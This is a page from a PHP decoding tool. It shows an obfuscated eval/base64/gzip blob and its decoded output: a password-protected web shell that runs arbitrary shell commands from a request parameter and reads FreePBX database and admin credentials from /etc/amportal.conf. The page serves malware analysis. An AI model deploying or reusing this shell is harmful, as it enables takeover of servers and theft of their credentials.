Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzuncompress(base64_decode('eJzNUttu2kAQfecrNlYUQ6TWhMjGVghqCHfK1ebWqkKLd33BXtbyrglOl..

Decoded Output download

/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
session_start();
if (isset($_REQUEST['p']) && md5($_REQUEST['p']) == 'a272fe5f6829571d86ad95d88968f89d') {
    $_SESSION['pop'] = 'logged';
}
if (!isset($_SESSION['pop'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "p" /><input type = submit value = "Badr" /></form>';
    exit("Badr");
}
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
if (isset($_SESSION['pop']) && $_SESSION['pop'] == 'logged' && !isset($_REQUEST['silent'])) {
    echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
    echo "<xmp>";
    @system("grep AMPDB /etc/amportal.conf");
    echo "---------------------
";
    @system("grep ARI_ADMIN /etc/amportal.conf");
    echo "---------------------
";
    @system($_REQUEST['c']);
    echo "</xmp>";
} else {
    echo "<xmp>";
    @system($_REQUEST['c']);
    echo "</xmp>";
}
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/

Did this file decode correctly?

Original Code

eval(gzuncompress(base64_decode('eJzNUttu2kAQfecrNlYUQ6TWhMjGVghqCHfK1ebWqkKLd33BXtbyrglOlX+PTYJCAlL70ErZp9HMmTNn5qx0WWyTlt3tN6PtZvKoeWZjBJX7ZkimY0P7MSgqMe8P7PuHDryqt2F+MtTl2aZH9fbqu+FW8lSLzHlnsInyD7DdXNbj684mjo3QMRGM+ktjVpenwYSNp3O53rA97Mlto1r1JsOt7PkOWk1XNrFazrJBRqRqVmaOP5zML6UMw4y5dL1gHIY8m7vJuBbIuoxhnj1fjGrDcU03foqB+CsHLi4AQfJR+vYWiLBQLFhYthS1oMnFK6QqEGkyUlVNUS1VQ2IO/M6A5J0v9Jqut/q9pJkm7SBp9qltYyTeZJ52w8/2098jc3sKbDoUiCWLhgRAkyfiExJBAARzh6I0DijjAiiX3HUQccDcR5xklTzgcZBGHG85WEOCd1gBSHvka51FS+JysIF+tINUIAp3KCmdWU6E7mRsXZ59qeVS6dInNfjQzw8XTR09NuTNkbR+dvQXmOvjNf9vhph/NgTRE3akIoTSlgRl4SXzjcWMY5IV7BAH4K47qFaAhLkpQRLQkEP/q0nXVmreW/+XUy9zmnDUWtxVu63evyE9OLCZ3PbdUtLrVk8A+wwfXv3kwn9F9Vn/6zNI4JAP')));

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 e155016406fae3c7445c251e4e86dd7b
Eval Count 1
Decode Time 35 ms